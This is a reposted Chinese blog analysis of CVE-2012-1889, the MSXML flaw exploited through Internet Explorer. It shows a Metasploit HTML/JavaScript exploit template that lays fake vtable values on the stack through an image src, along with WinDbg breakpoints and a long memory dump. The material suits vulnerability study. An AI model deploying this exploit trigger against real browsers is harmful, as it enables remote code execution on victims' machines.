注册 登录  
 加关注
   显示下一条  |  关闭
温馨提示!由于新浪微博认证机制调整,您的新浪微博帐号绑定已过期,请重新绑定!立即重新绑定新浪微博》  |  关闭

且行且记录

点滴记录,行的更远!

 
 
 

日志

 
 

【转载】CVE-2012-1889 EXPLOIT分析  

2014-08-01 13:42:23|  分类: 参考文章 |  标签: |举报 |字号 订阅

  下载LOFTER 我的照片书  |
本文转载自zenhumany《CVE-2012-1889 EXPLOIT分析》

CVE-2012-1889 EXPLOIT分析

  1、METASPLOIT 脚本

<html>

<head>

<script>

#{js}

</script>

</head>

<body>

<object classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id="#{object_id}"></object>

<script>

var obj = document.getElementById('#{object_id}').object;

var src = unescape("%u0c08%u0c0c");

while (src.length < 0x1002) src += src;

src="http://zenhumany.blog.163.com/blog/\\\\\\\\xxx" + src;

src = src.substr(0, 0x1000 - 10);

var pic = document.createElement("img");

pic.src = src;

pic.nameProp;

obj.definition(#{rand(999) + 1});

</script>

</body>

</html>

 

  2、调试

我们将设置如下的两个断点:

0 e 6bb2d597 0001 (0001) 0:**** mshtml!CImgElement::get_nameProp

1 e 6c7a08db 0001 (0001) 0:**** msxml3!Node::getDefinition

根据CVE-2012-1889的分析可知,漏洞的原因是由于使用了栈上为初始化的空间作为对象的空间,导致错误的调用。

利用的方式就是通过在栈上布局用户可控的数据,伪造成对象(主要是对象的虚表指针的构造 0x0c0c0c08),使得该对象的虚表指针为0x0c0c0c08。堆喷射占据0x0c0c0c08的空间。

 

var pic = document.createElement("img");

pic.src = src;

pic.nameProp;

poc中pic.nameProp的使用,将调用

    CImgElement::get_nameProp函数,该函数将会在栈上返回pic.src的内容。也就是栈上将布局 0x0c0c0c08的内容。

  2.1 mshtml!CImgElement::get_nameProp

get_nameProp函数在栈上分配空间,用于接收函数返回的img.src的字符串。

 

将ebp-2004保存到eax中,调用CImgElement::GetAAsrc函数。

    

调用CImgElement::GetAAsrc后,返回的内容为img.Src。

mshtml!CMarkup::ExpandUrl函数的调用,会将CImgElement::GetAAsr函数返回的内容保存到ebp-2004的内存块。

可以看到,栈上保存的为img.src转换过来的内容。

且0c0c0c08处已经为攻击者喷射后的内容。

  2.2 msxml3!Node::getDefinition

进入到msxml3!Node::getDefinition函数时,0263ab10上的内容未被清理。且esp的指针为0263c928。

Esp(0263c928)


0263ab10

当函数返回到_dispatchImpl::InvokeHelper时,ebp-14处的内容被当作了对象的内存区。

可以看到,对象的虚标指针为0c0c0c08。

 

下面是栈上src的内容,长度为0x1002*2。正好可以覆盖到0263cabc处。

0:005> dc 0263ab10 l1002/2

0263ab10 074486d0 00001200 6bb2d618 00690066 ..D........kf.i.

0263ab20 0065006c 002f003a 0078002f 00780078 l.e.:././.x.x.x.

0263ab30 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263ab40 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263ab50 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263ab60 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263ab70 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263ab80 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263ab90 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263aba0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263abb0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263abc0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263abd0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263abe0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263abf0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263ac00 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263ac10 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263ac20 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263ac30 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263ac40 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263ac50 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263ac60 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263ac70 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263ac80 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263ac90 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263aca0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263acb0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263acc0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263acd0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263ace0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263acf0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263ad00 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263ad10 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263ad20 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263ad30 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263ad40 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263ad50 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263ad60 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263ad70 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263ad80 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263ad90 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263ada0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263adb0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263adc0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263add0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263ade0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263adf0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263ae00 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263ae10 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263ae20 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263ae30 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263ae40 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263ae50 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263ae60 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263ae70 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263ae80 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263ae90 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263aea0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263aeb0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263aec0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263aed0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263aee0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263aef0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263af00 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263af10 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263af20 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263af30 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263af40 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263af50 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263af60 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263af70 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263af80 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263af90 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263afa0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263afb0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263afc0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263afd0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263afe0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263aff0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b000 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b010 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b020 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b030 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b040 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b050 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b060 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b070 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b080 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b090 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b0a0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b0b0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b0c0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b0d0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b0e0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b0f0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b100 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b110 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b120 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b130 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b140 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b150 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b160 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b170 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b180 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b190 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b1a0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b1b0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b1c0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b1d0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b1e0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b1f0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b200 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b210 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b220 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b230 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b240 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b250 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b260 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b270 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b280 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b290 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b2a0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b2b0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b2c0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b2d0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b2e0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b2f0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b300 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b310 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b320 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b330 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b340 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b350 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b360 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b370 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b380 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b390 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b3a0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b3b0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b3c0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b3d0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b3e0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b3f0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b400 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b410 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b420 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b430 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b440 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b450 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b460 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b470 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b480 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b490 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b4a0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b4b0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b4c0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b4d0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b4e0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b4f0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b500 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b510 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b520 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b530 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b540 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b550 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b560 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b570 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b580 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b590 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b5a0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b5b0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b5c0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b5d0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b5e0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b5f0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b600 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b610 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b620 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b630 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b640 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b650 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b660 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b670 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b680 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b690 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b6a0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b6b0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b6c0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b6d0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b6e0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b6f0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b700 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b710 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b720 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b730 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b740 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b750 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b760 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b770 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b780 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b790 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b7a0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b7b0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b7c0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b7d0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b7e0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b7f0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b800 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b810 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b820 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b830 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b840 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b850 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b860 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b870 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b880 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b890 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b8a0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b8b0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b8c0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b8d0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b8e0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b8f0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b900 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b910 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b920 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b930 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b940 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b950 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b960 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b970 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b980 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b990 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b9a0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b9b0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b9c0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b9d0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b9e0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263b9f0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263ba00 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263ba10 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263ba20 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263ba30 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263ba40 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263ba50 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263ba60 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263ba70 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263ba80 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263ba90 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263baa0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263bab0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263bac0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263bad0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263bae0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263baf0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263bb00 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263bb10 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263bb20 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263bb30 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263bb40 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263bb50 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263bb60 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263bb70 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263bb80 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263bb90 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263bba0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263bbb0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263bbc0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263bbd0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263bbe0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263bbf0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263bc00 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263bc10 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263bc20 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263bc30 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263bc40 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263bc50 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263bc60 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263bc70 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263bc80 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263bc90 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263bca0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263bcb0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263bcc0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263bcd0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263bce0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263bcf0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263bd00 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263bd10 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263bd20 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263bd30 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263bd40 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263bd50 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263bd60 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263bd70 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263bd80 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263bd90 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263bda0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263bdb0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263bdc0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263bdd0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263bde0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263bdf0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263be00 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263be10 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263be20 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263be30 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263be40 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263be50 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263be60 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263be70 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263be80 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263be90 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263bea0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263beb0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263bec0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263bed0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263bee0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263bef0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263bf00 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263bf10 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263bf20 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263bf30 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263bf40 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263bf50 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263bf60 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263bf70 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263bf80 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263bf90 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263bfa0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263bfb0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263bfc0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263bfd0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

0263bfe0 0c0c0c08 0c0c0c08 0c0c0c08 0c0c0c08 ................

